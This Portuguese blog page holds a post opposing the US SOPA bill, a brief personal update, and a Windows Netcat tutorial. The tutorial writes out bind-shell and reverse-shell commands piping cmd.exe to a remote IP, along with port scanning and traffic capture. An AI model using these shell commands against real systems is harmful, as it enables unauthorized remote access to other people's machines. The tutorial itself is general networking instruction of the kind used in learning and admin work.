terça-feira, 14 de fevereiro de 2012

Entenda os problemas do SOPA para o Brasil e o mundo


SOPA, Protect IP e e-parasites são projetos de lei que estão tramitando no congresso Americano. SOPA significa “Stop Online Piracy Act”, e estabelece o uso no território Americano de um mecanismo de censura sobre a Internet semelhante ao utilizado em países como a China, Irã e Síria, com a desculpa de coibir a pirataria online, ou seja, pretendem combater práticas sociais que historicamente utilizamos para ter acesso alternativo à qualquer obra cultural: trocar, compartilhar, emprestar… tal qual sempre ocorreu nas Bibliotecas.

O SOPA não afetará apenas os Estados Unidos, pois o país alem de concentrar a maior parte da infra-estrutura da rede, concentra quase todos os serviços e sites que utilizamos diariamente, e que podem ser afetados tais como Youtube, Facebook, WordPress, Google, Gmail, Twiiter, e muitos outros. Temos de lembrar também que muitos sites são hospedados nos EUA, mesmo sem ter TLD americano e outros fora dos EUA com TLD americano como (.com, .net, .org) em ambos os casos o site estará debaixo da legislação Americana.

SOPA também prevê instrumentos para bloquear os serviços de publicidade e pagamento online sob a jurisdição dos EUA, impactando qualquer site no mundo, apenas com base em uma denuncia de suspeita,e sem ordem judicial.

Os problemas não acabam por ai, o SOPA afetará profundamente a liberdade de expressão na Internet, todos os sites se verão obrigados a aplicar mecanismos de auto-censura, e filtrar toda atividade online de seus usuários para evitar serem bloqueados.

O que diz a lei (SOPA)

Quando um site for denunciado, todos os demais sites que tenham “relacionamento” com ele e não queiram sofrer as conseqüências legais terão cinco dias para:
  • ISP: Deverão bloquear os seus DNS (impedindo o acesso ao domínio)
  • Serviço de hospedagem: Deverão bloquear o acesso ao site
  • Publicidade: Deverão bloquear a publicidade
  • Serviços de pagamento: Deverão congelar os fundo
  • LInks : Deverão ser removidos links ao site

Efeitos colaterais

Muitas tecnologias (como a rede anônima “TOR”, os DNS alternativos, as redes P2P e os proxys VPN) que permitem a navegação e/ou distribuição de informações anônimas e sem censura, e que são fundamentais para muitos ativistas e organizações políticas em todo o mundo, basicamente se verão ilegais de um dia para outro.
Os provedores de Internet, email, blogs gratuitos, mensageiros instantâneos e redes sociais serão forçados a espionar todo conteúdo publicado por seus usuários em busca de material não autorizado e eventualmente bloqueá-los.
Todas as tecnologias inovadoras nasceram de alguma forma da “pirataria”: O Cinema x as patentes, a indústria fotográfica x seus interpretes, o radio x a industria fonográficas, o vídeo cassete x cinema, a TV a cabo x TV aberta. Todas operaram em áreas de incerteza jurídica, até as leis se adaptaram ao novo, sem tentar muda-lo. Um marco legal restritivo e antiquado como o que se quer impor agora sufocaria muitas das novas ideias e sem duvida sufocará as próximas grandes ideias.
As comunidades online, em especial as comunidades colaborativas que são o fenômeno da Internet que afetam mais profundamente a nossa sociedade, ou seja, desde a esfera cultural, política, social até a econômica. O bloqueio de sites e tecnologias a serviço destas comunidades irá em muitos casos impedida-las de continuar existindo.

O Brasil e o SOPA

No Brasil estamos ha anos lutando contra o o AI5Digital (PL 84/99) e a favor do Marco Civil da Internet (PL 2126), tem sido uma luta incansável. Todo este esforço pode ser perdido com a aprovação do SOPA, pois junto com a lei Sinde na Espanha e Hadopi na França, ele pode ser um terrível instrumento de pressão para que o Brasil e demais países adotem legislações semelhantes. É importante lembrar que a Lei Sinde que aparentemente havia sido brecada por ativistas Espanhois, foi aprovada logo no inicio do novo mandato sob grande pressão Americana, e que o AI5Digital, que fora congelado em 2008 voltou a tona no inicio deste ano com grande pressão para aprovação. Não podemos descansar nenhum minuto!

terça-feira, 10 de agosto de 2010

Time is Money!

Ae Galera!

Depois de muito tempo sem posta nada...tô na area novamente mesmo assim com pouco tempo estou na correria do novo trabalho e o preparativos do meu casamento então... ta faltando tempo!

mais breve estarei postando alguma novidade!

abraço!

Marcílio

quarta-feira, 7 de outubro de 2009

Tutorial do Netcat (Windows)

O Netcat é uma ferramenta simples e eficaz para realização de consultoria em redes. Devido à sua versatilidade, o programa chegou a ser considerado o canivete suíço do TCP/IP pela maioria dos usuários, principalmente hackers. Possui versões para Linux e Windows. Obtenha a versão Windows clicando aqui.

Uma vez baixado e extraído, você deverá acessar o programa a partir do prompt de comando. Para fazer isso, acesse, primeiramente, o diretório, com o comando cd diretório. Veja um exemplo:

cd c:\windows\system32\

Nesse caso, o executável do Netcat está na pasta system32. Poderia estar em qualquer outro diretório, até mesmo no desktop, ou pastas dos Meus Documentos. Estando dentro do diretório, que contém o executável, basta você dar os comandos específicos do programa, como mostrado logo mais.

Obs.: Se você copiou o executável para a pasta system32, não precisará dar o comando para acessar o diretório, quando for utilizar o programa.

O funcionamento básico do programa pode ser comparado a um telnet (também presente em versões para ambas as plataformas). Com ele você pode se conectar a qualquer porta de um micro que esteja rodando determinado serviço. O diferencial do Netcat em relação ao telnet, está no fato dele possuir várias opções adicionais. Com ele você pode se conectar ao shell de um sistema remoto, fazer um escaneamento de portas, um sniffing, etc.

Por se tratar de um programa em modo texto, ele precisa ser chamado da mesma forma que os executáveis do sistema, dando-se o nome, seguido dos parâmetros. Veja uma lista com a função de alguns deles:

-d: coloca o netcat em modo furtivo, desligado do console.
-e: especifica um programa a ser executado (Ex.: nc -e cmd.exe).
-h: lista todas as opções do programa(Ex.: nc -h).
-l: coloca uma porta em estado de escuta.
-L: coloca uma porta em estado de escuta avançado. Reconecta se a conexão cair.
-n: não retorna domínios, só IPs.
-o: gera um log do tráfego em hexadecimal.
-p: define uma porta local (Ex.: nc -p 14).
-v: ativa o recebimento de eco, que permite saber o que está acontecendo no sistema durante a execução de determinado comando. Recomenda-se utilizá-lo duas vezes(Ex.: nc -vv).

Acessando um shell remoto

Conexão direta

O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc...

O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.

No micro que será acessado, abra o prompt de comando e digite o seguinte código:

nc -L -p 14 -vv -e cmd.exe

No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema. Veja:

Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:

nc IPdoservidor 14

Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:

nc 192.168.1.2 14

Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.

Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:

telnet 192.168.1.2 14

Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc...

Conexão reversa

A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?

Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:

O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.

Na primeira digite:

nc -L -p 14 -vv

Este comando fará o programa escutar de modo avançado na porta 14.

E na segunda:
nc -L -p 15 -vv

O comando fará o mesmo que o anterior, mas escutará a porta 15.

Veja as duas janelas do shell:

Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:

nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15

Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:

nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15

Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro.

Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:

Realizando um escaneamento de portas

Entre algumas das opções adicionais do programa, está a possibilidade de se fazer um scanner de portas (veja um artigo completo sobre isso, clicando aqui), que consiste em procurar portas que, eventualmente estejam abertas em determinado computador. Na verdade ele realisará a função básica de um scanner de portas, que é sondá-las e verificar se estão ou não abertas. A sintaxe do comando é bem simples:

nc -vv [Endereço IP] [Intervalo de portas] "não considere os colchetes"

Por exemplo, se eu queira verificar quais portas estão abertas num micro com o IP 192.168.1.2, faria da seguinte forma:

nc -vv 192.168.1.2 1-65535

Isso é apenas um exemplo, você pode utilizar um intervalo menor, ou então especificar apenas algumas portas a serem verificadas, separando-as por espaços:

nc -vv 192.168.1.2 21 23 25 80 110

A análise do resultado é simples. Se a porta estiver aberta, no final da linha aparecerá "open", caso contrário, será exibido "connection refused".

Sniffer com o Netcat

Sniffers são programas utilizados para interceptar e registrar o tráfego de dados em uma rede de computadores. Em outras palavras, eles "farejam" e registram tudo o que passa pela rede. Para utilizá-los, é imprescindível que ele seja instalado no mesmo segmento de rede, onde você quer obter os dados.

Veja um exemplo de como fazer um sniffing com o Netcat:

nc -L -vv 127.0.0.1 -p 21

O código acima irá registrar todo o tráfego realizado na porta 21 (FTP). Se você quiser gravar todas as informações obtidas num arquivo de texto, digite o mesmo comando acima, porém acrescentando o diretório para salvar (veja em negrito):

nc -L -vv 127.0.0.1 -p 21 > c:\sniffing.txt